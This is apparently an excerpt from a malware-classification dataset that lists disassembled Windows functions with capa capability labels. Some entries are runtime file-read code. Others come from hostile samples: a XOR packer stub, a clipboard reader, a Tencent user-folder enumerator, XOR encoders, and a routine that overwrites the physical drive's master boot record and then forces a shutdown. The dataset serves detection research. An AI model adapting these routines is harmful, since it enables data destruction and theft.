joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421a5e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00428cb0
mov eax, dword [0x4852c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041b83b
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x421aa0
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x421bfc
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00428ce0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x486e00]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00421e84
mov ecx, dword [esi*4 + 0x486e00]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x421bf5
cmp eax, dword [edi + ecx + 0x24]
jne 0x421bf5
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x421bf5
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00421e84
add esp, 0x14
test edx, edx
jl 0x421bf5
jg 0x421b6b
test eax, eax
jb 0x421bf5
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x421bf5
jl 0x421b85
cmp dword [ebp - 0x1008], eax
ja 0x421bf5
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x421ba3
test ebx, ebx
je 0x421bdc
cmp ecx, edi
jae 0x421bdc
mov al, byte [ecx]
cmp al, 0xd
jne 0x421bbd
lea eax, [edi - 1]
cmp ecx, eax
jae 0x421bc9
cmp byte [ecx + 1], 0xa
jne 0x421bc9
inc ecx
jmp 0x421bc9
movzx eax, al
movsx eax, byte [eax + 0x485d60]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x421ba3
cmp edx, ebx
jne 0x421ba3
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x421bfa
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a729
leave
ret
Function at 0x425c62
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x486e00]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x425ca2
cmp byte [ebx], 0xa
jne 0x425ca2
or byte [eax + edi + 0x28], 4
jmp 0x425ca7
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x425da5
mov al, byte [edx]
cmp al, 0x1a
je 0x425d87
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x425cd6
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x425cfb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x425d05
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x425cb8
jmp 0x425da5
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425d82
cmp dword [ebp - 0xc], 0
je 0x425d82
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x486e00]
test byte [eax + edi + 0x28], 0x48
je 0x425d5c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x425d47
mov byte [esi], dl
jmp 0x425d58
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x486e00]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x425da5
cmp byte [ebp - 1], 0xa
jne 0x425d6b
cmp esi, ebx
jne 0x425d6b
mov byte [esi], 0xa
jmp 0x425da4
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00421ea2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x425da5
mov byte [esi], 0xd
jmp 0x425da4
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x486e00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x425da1
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x425da5
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x425dae
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x486e00]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x425df1
cmp word [esi], dx
jne 0x425df1
or byte [edi + eax + 0x28], 4
jmp 0x425df6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x425f49
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x425f29
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x425e38
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x425e6e
cmp eax, edx
jae 0x425e7a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x425e10
jmp 0x425f49
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425f25
cmp dword [ebp - 0x14], 0
je 0x425f25
mov eax, dword [ebx*4 + 0x486e00]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x425efd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x425ec6
mov word [esi], cx
jmp 0x425ef9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x486e00]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x486e00]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x486e00]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x425f49
pop ebx
cmp word [ebp - 4], bx
jne 0x425f0e
cmp esi, dword [ebp + 0xc]
jne 0x425f0e
mov word [esi], bx
jmp 0x425f46
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00421ea2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x425f49
push 0xd
jmp 0x425f42
mov ecx, dword [ebx*4 + 0x486e00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x425f40
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x425f49
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4020ea
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2c
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
mov esi, dword [0x47d138]
xor ebx, ebx
push edi
mov dword [esp + 0x14], edx
mov eax, dword [esi + 0x3c]
mov ebp, dword [eax + esi + 0x78]
add ebp, esi
mov edi, dword [ebp + 0x20]
mov eax, dword [ebp + 0x18]
add edi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x402151
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
add eax, esi
push eax
call fcn.0040241e
lea ecx, [esp + 0x1c]
call fcn.00401f1a
cmp eax, dword [esp + 0x14]
je 0x402169
lea ecx, [esp + 0x1c]
add edi, 4
call fcn.004024ab
inc ebx
cmp ebx, dword [esp + 0x18]
jb 0x402121
xor edi, edi
mov ecx, dword [esp + 0x34]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040693b
add esp, 0x2c
ret
mov edx, str.QwruxAA
call fcn.0040263e
push eax
call fcn.004028b7
mov eax, dword [ebp + 0x24]
pop ecx
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x1c]
call fcn.004024ab
jmp 0x402153
Function at 0x416642
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004162e4

Function at 0x41664d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416473

Function at 0x416a47
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407890
mov eax, dword [0x42e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00414d76
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x416a89
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x416be5
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004219d0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47cdf8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417c17
mov ecx, dword [esi*4 + 0x47cdf8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x416bde
cmp eax, dword [edi + ecx + 0x24]
jne 0x416bde
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416bde
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417c17
add esp, 0x14
test edx, edx
jl 0x416bde
jg 0x416b54
test eax, eax
jb 0x416bde
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x416bde
jl 0x416b6e
cmp dword [ebp - 0x1008], eax
ja 0x416bde
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x416b8c
test ebx, ebx
je 0x416bc5
cmp ecx, edi
jae 0x416bc5
mov al, byte [ecx]
cmp al, 0xd
jne 0x416ba6
lea eax, [edi - 1]
cmp ecx, eax
jae 0x416bb2
cmp byte [ecx + 1], 0xa
jne 0x416bb2
inc ecx
jmp 0x416bb2
movzx eax, al
movsx eax, byte [eax + 0x42e308]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x416b8c
cmp edx, ebx
jne 0x416b8c
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x416be3
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040693b
leave
ret
Function at 0x4170b5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47cdf8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4170f5
cmp byte [ebx], 0xa
jne 0x4170f5
or byte [eax + edi + 0x28], 4
jmp 0x4170fa
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4171f8
mov al, byte [edx]
cmp al, 0x1a
je 0x4171da
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x417129
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41714e
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x417158
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41710b
jmp 0x4171f8
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4171d5
cmp dword [ebp - 0xc], 0
je 0x4171d5
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47cdf8]
test byte [eax + edi + 0x28], 0x48
je 0x4171af
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41719a
mov byte [esi], dl
jmp 0x4171ab
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47cdf8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4171f8
cmp byte [ebp - 1], 0xa
jne 0x4171be
cmp esi, ebx
jne 0x4171be
mov byte [esi], 0xa
jmp 0x4171f7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417c35
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4171f8
mov byte [esi], 0xd
jmp 0x4171f7
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47cdf8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4171f4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4171f8
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x417201
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47cdf8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x417244
cmp word [esi], dx
jne 0x417244
or byte [edi + eax + 0x28], 4
jmp 0x417249
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41739c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41737c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41728b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4172c1
cmp eax, edx
jae 0x4172cd
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x417263
jmp 0x41739c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417378
cmp dword [ebp - 0x14], 0
je 0x417378
mov eax, dword [ebx*4 + 0x47cdf8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x417350
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x417319
mov word [esi], cx
jmp 0x41734c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47cdf8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47cdf8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47cdf8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41739c
pop ebx
cmp word [ebp - 4], bx
jne 0x417361
cmp esi, dword [ebp + 0xc]
jne 0x417361
mov word [esi], bx
jmp 0x417399
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417c35
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41739c
push 0xd
jmp 0x417395
mov ecx, dword [ebx*4 + 0x47cdf8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x417393
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41739c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x2f79695a
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, str.t4h
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x34f01774
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x100014c0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0x10
push ebx
mov ebx, ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000155a
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
jne 0x10001536
mov eax, dword [0x10011010]
mov ecx, dword [0x10011014]
mov edx, dword [0x10011018]
mov dword [esp + 0xc], eax
mov ax, word [0x1001101c]
mov dword [esp + 0x10], ecx
mov cl, byte [0x1001101e]
mov word [esp + 0x18], ax
mov byte [esp + 0x1a], cl
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x14], edx
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
jmp 0x10001543
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, ebx
call fcn.10004580
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x10001560
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
sub esp, 0x348
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x255]
mov byte [esp + 0x254], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
lea eax, [esp + 0x258]
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x151]
mov byte [esp + 0x150], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [esp + 0x254]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x150]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x150]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.TencentUsers.
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edx, [esp + 0x10]
mov ebx, eax
push edx
push ebx
call esi
lea eax, [esp + 0x10]
xor ebp, ebp
push eax
push ebx
call esi
test eax, eax
je 0x100016bc
test byte [esp + 0x10], 0x10
je 0x100016b0
mov edi, 0x10011020
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x3c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [esp + 0x3c]
mov eax, ecx
lea edi, [ebp + 0x10013060]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
not ecx
dec ecx
add ebp, ecx
lea ecx, [esp + 0x10]
push ecx
push ebx
call esi
test eax, eax
jne 0x10001641
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x348
ret
Function at 0x100016d0
Capabilities:
Contain obfuscated stackstrings
Shutdown system
Terminate process
Write file on windows

Disassembly:
sub esp, 0x230
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x39]
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x10013460]
push 0
mov byte [esp + 0x40], al
mov al, 0x5c
push 3
push 0
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1b], al
push 3
lea ecx, [esp + 0x1c]
mov al, 0x49
push 0xc0000000
push ecx
mov byte [esp + 0x252], 0x55
mov byte [esp + 0x253], 0xaa
mov byte [esp + 0x26], 0x2e
mov byte [esp + 0x28], 0x50
mov byte [esp + 0x29], 0x48
mov byte [esp + 0x2a], 0x59
mov byte [esp + 0x2b], 0x53
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x43
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0x4c
mov byte [esp + 0x30], 0x44
mov byte [esp + 0x31], 0x52
mov byte [esp + 0x32], al
mov byte [esp + 0x33], 0x56
mov byte [esp + 0x34], 0x45
mov byte [esp + 0x35], 0x30
mov byte [esp + 0x36], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000184f
lea edx, [esp + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
lea eax, [esp + 0x24]
push 0
push eax
lea ecx, [esp + 0x40]
push 0x200
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea edx, [esp + 0x20]
push 0
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x1000183d
lea eax, [esp + 0x1c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 0x2c]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 0x1c]
push 0
push 0
lea edx, [esp + 0x30]
push 0
push edx
push 0
push eax
mov dword [esp + 0x40], 1
mov dword [esp + 0x4c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
add esp, 0x230
ret

Function at 0x10001b00
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10001b20
mov dl, byte [ecx + eax]
xor dl, 0x19
add dl, 0x46
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10001b0f
pop esi
ret

Function at 0x10001b30
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10001b50
mov dl, byte [ecx + eax]
sub dl, 0x46
xor dl, 0x19
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10001b3f
pop esi
ret